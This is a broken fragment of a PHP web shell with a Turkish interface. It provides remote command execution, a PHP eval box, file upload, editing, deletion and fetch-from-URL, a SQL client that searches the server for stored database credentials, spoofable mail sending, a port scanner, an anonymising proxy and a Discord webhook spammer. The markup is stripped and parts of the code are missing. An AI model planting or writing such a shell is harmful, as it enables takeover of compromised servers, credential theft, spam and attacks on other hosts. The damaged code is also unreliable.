
Sunucu Bilgileri
Sunucu hakkında genel bilgiler.
"; foreach($server_info as $key => $val) echo "$key: " . htmlspecialchars(trim($val)) . "\n"; foreach($disk_usage as $key => $val) echo "$key: " . htmlspecialchars($val) . "\n"; echo "
Dizin Ağacı
Mevcut dizinin altındaki dallanmalar.
"; render_directory_tree($current_dir); echo "
Komut Çalıştırıcı
Sunucuya komut gönderin.
"; echo ""; if (isset($_POST['cmd'])) { echo "Çıktı
" . htmlspecialchars(exec_command($_POST['cmd'])) . ""; } echo "
Dosya Yöneticisi
Dosyaları ve dizinleri yönetin.
"; if (isset($_GET['delete'])) { $item_to_delete = get_param('delete'); if (is_file($item_to_delete)) { if(@unlink($item_to_delete)) echo " "; } elseif (is_dir($item_to_delete)) { if(@rmdir($item_to_delete)) echo " "; else echo " ";} } if (isset($_POST['rename_old']) && isset($_POST['rename_new'])) { if (@rename($_POST['rename_old'], $_POST['rename_new'])) echo " "; else echo " "; } echo ""; echo "Ad | Boyut | Yetki | İşlemler |
---|---|---|---|
$icon $path])) . "'>" . htmlspecialchars($file) . " | " . ($is_dir ? '-' : format_bytes(filesize($path))) . " | " . get_permissions($path) . " | "; if ($is_dir) echo " $path]) . "' title='Dizini İndir (ZIP)'>"; else echo " $path]) . "' title='İndir'>"; echo "`;document.body.appendChild(f);f.submit();}\" title='Yeniden Adlandır'>"; echo " $path]) . "' title='Sil' onclick=\"return confirm('Emin misin?');\"> |
Belge Oluştur
Yeni bir dosya oluşturun.
"; if (isset($_POST['file_name']) && isset($_POST['file_content'])) { $new_file_path = $current_dir . DIRECTORY_SEPARATOR . $_POST['file_name']; if (file_exists($new_file_path)) { echo " "; } elseif (@file_put_contents($new_file_path, $_POST['file_content']) !== false) { echo " "; } else { echo " "; } } echo "Metin Düzenleyici
Dosyaların içeriğini düzenleyin.
"; $file = get_param('file'); if (isset($_POST['file_path']) && isset($_POST['file_content'])) { if (@file_put_contents($_POST['file_path'], $_POST['file_content']) !== false) echo " "; else echo " "; } $file_content = ''; if (!empty($file) && is_file($file)) $file_content = @file_get_contents($file); echo "Dosya Yükle
Bilgisayarınızdan sunucuya dosya yükleyin.
"; if (isset($_FILES['file_to_upload'])) { $target_file = $current_dir . DIRECTORY_SEPARATOR . basename($_FILES["file_to_upload"]["name"]); if (move_uploaded_file($_FILES["file_to_upload"]["tmp_name"], $target_file)) echo " "; else echo " "; } echo "SQL İstemcisi
Veritabanına bağlanın ve sorgu çalıştırın.
"; if (isset($_POST['db_disconnect'])) { unset($_SESSION['db_creds']); echo " "; } if (isset($_POST['db_host'])) { $conn_test = @new mysqli($_POST['db_host'], $_POST['db_user'], $_POST['db_pass'], $_POST['db_name']); if ($conn_test->connect_error) { echo " "; unset($_SESSION['db_creds']); } else { $_SESSION['db_creds'] = ['host' => $_POST['db_host'], 'user' => $_POST['db_user'], 'pass' => $_POST['db_pass'], 'db' => $_POST['db_name']]; echo " "; $conn_test->close(); } } if (!isset($_SESSION['db_creds'])) { $creds = find_db_creds($current_dir); echo "Bağlantı Kur
"; if ($creds) echo " "; echo ""; } else { $creds = $_SESSION['db_creds']; echo "Bağlantı Aktif: ".htmlspecialchars($creds['user'])."@".htmlspecialchars($creds['host'])."
"; echo ""; $conn = @new mysqli($creds['host'], $creds['user'], $creds['pass'], $creds['db']); if ($conn->connect_error) { echo " "; unset($_SESSION['db_creds']); } else { if (isset($_POST['sql_query'])) { echo "Sorgu Sonucu
"; $query = $_POST['sql_query']; $result = $conn->query($query); if (!$result) { echo " "; } elseif ($result instanceof mysqli_result) { if ($result->num_rows > 0) { echo "" . htmlspecialchars($field->name) . " | "; echo "
---|
" . htmlspecialchars($data) . " | "; echo "
Yeni Sorgu
"; echo ""; $conn->close(); } } break; case 'hashgenerator': echo "Hash Üretici
Metinleri istediğiniz algoritmaya göre şifreleyin.
"; $hash_algos = hash_algos(); if (isset($_POST['hash_text'])) { $text = $_POST['hash_text']; $algo = $_POST['hash_algo']; if (in_array($algo, $hash_algos)) { $hash = hash($algo, $text); echo "Sonuç (".htmlspecialchars($algo).")
" . htmlspecialchars($hash) . ""; } } echo "
URL'den Dosya Yükle
Bir adresteki dosyayı sunucuya çekin.
"; if (isset($_POST['file_url'])) { $file_url = $_POST['file_url']; $dest_path = $current_dir . DIRECTORY_SEPARATOR . basename($file_url); $ch = curl_init($file_url); $fp = fopen($dest_path, 'w+'); $headers = get_anon_headers(); if(!empty($_POST['user_agent'])) curl_setopt($ch, CURLOPT_USERAGENT, $_POST['user_agent']); if(!empty($_POST['mime_type'])) $headers[] = "Accept: " . $_POST['mime_type']; if(!empty($_POST['custom_headers'])) { $custom_headers = explode("\n", $_POST['custom_headers']); $headers = array_merge($headers, array_map('trim', $custom_headers)); } curl_setopt_array($ch, [CURLOPT_FILE => $fp, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 60, CURLOPT_HTTPHEADER => $headers]); if (curl_exec($ch)) echo " "; else echo " "; curl_close($ch); fclose($fp); } echo "PHP Değerlendirici
PHP kodunu direkt sunucuda çalıştırın.
"; if (isset($_POST['php_code'])) { echo "Çıktı
"; ob_start(); eval("?>".$_POST['php_code']); $output = ob_get_clean(); echo htmlspecialchars($output); echo ""; } echo "
Mail Gönderici
Sunucu üzerinden mail gönderin.
"; if (isset($_POST['to'])) { if (@mail($_POST['to'], $_POST['subject'], $_POST['message'], "From: ".$_POST['from'])) echo " "; else echo " "; } echo "Port Tarayıcı
Hedefteki açık portları bulun.
"; if (isset($_POST['ip_address']) && isset($_POST['port_range'])) { $ip = $_POST['ip_address']; $ports_str = $_POST['port_range']; echo "" . htmlspecialchars($ip) . " Taranıyor...
"; $ports = []; $ranges = explode(',', $ports_str); foreach ($ranges as $range) { if (strpos($range, '-') !== false) { list($start, $end) = explode('-', $range); for ($i = (int)$start; $i <= (int)$end; $i++) $ports[] = $i; } else $ports[] = (int)$range; } if (count($ports) > 256) echo "Hata: Güvenlik nedeniyle en fazla 256 port taranabilir.\n"; else foreach ($ports as $port) { if ($fp = @fsockopen($ip, $port, $errno, $errstr, 0.5)) { echo "Port " . $port . " : Açık\n"; fclose($fp); } flush(); ob_flush(); } echo ""; } echo "
Web Tarayıcı
Sunucuyu proxy olarak kullanın.
"; if (isset($_POST['proxy_url'])) { $url = $_POST['proxy_url']; if (filter_var($url, FILTER_VALIDATE_URL)) { $ch = curl_init($url); curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTPHEADER => get_anon_headers(), CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36']); $html = curl_exec($ch); $error = curl_error($ch); curl_close($ch); if ($html) { $base_tag = "" . htmlspecialchars($url) . "
"; } else echo " "; } else echo " "; } echo "Domain Bilgisi
Domainin kimin üzerine kayıtlı olduğunu öğrenin.
"; if (isset($_POST['domain'])) { $domain = $_POST['domain']; echo "" . htmlspecialchars($domain) . " Bilgileri
"; echo "--- WHOIS ---\n" . htmlspecialchars(exec_command("whois " . escapeshellarg($domain))); echo "\n--- DNS ---\n" . htmlspecialchars(exec_command("nslookup " . escapeshellarg($domain))); echo ""; } echo "
Base64 Çevirici
Metinleri Base64'e çevirin ya da Base64'ten çözün.
"; if (isset($_POST['b64_text'])) { if ($_POST['b64_action'] == 'encode') $result = base64_encode($_POST['b64_text']); else $result = base64_decode($_POST['b64_text']); echo "Sonuç
" . htmlspecialchars($result) . ""; } echo "
Discord Webhook Spammer
Bir webhook URL'sine durmadan mesaj yollayın.
"; if (isset($_POST['webhook_url']) && isset($_POST['message'])) { $webhook_url = $_POST['webhook_url']; $message = $_POST['message']; $count = (int)$_POST['count']; $delay = (int)$_POST['delay']; $payload = json_encode(["content" => $message]); echo "Spam Başlatıldı...
"; $success_count = 0; for ($i = 0; $i < $count; $i++) { $ch = curl_init($webhook_url); curl_setopt_array($ch, [ CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => $payload, CURLOPT_RETURNTRANSFER => true, CURLOPT_HTTPHEADER => array_merge(['Content-Type: application/json'], get_anon_headers()) ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($http_code >= 200 && $http_code < 300) { echo "Mesaj " . ($i + 1) . " gönderildi. (HTTP " . $http_code . ")\n"; $success_count++; } else { echo "Mesaj " . ($i + 1) . " gönderilemedi! (HTTP " . $http_code . ") Hata: " . htmlspecialchars($response) . "\n"; } curl_close($ch); flush(); ob_flush(); usleep($delay * 1000); } echo ""; } echo "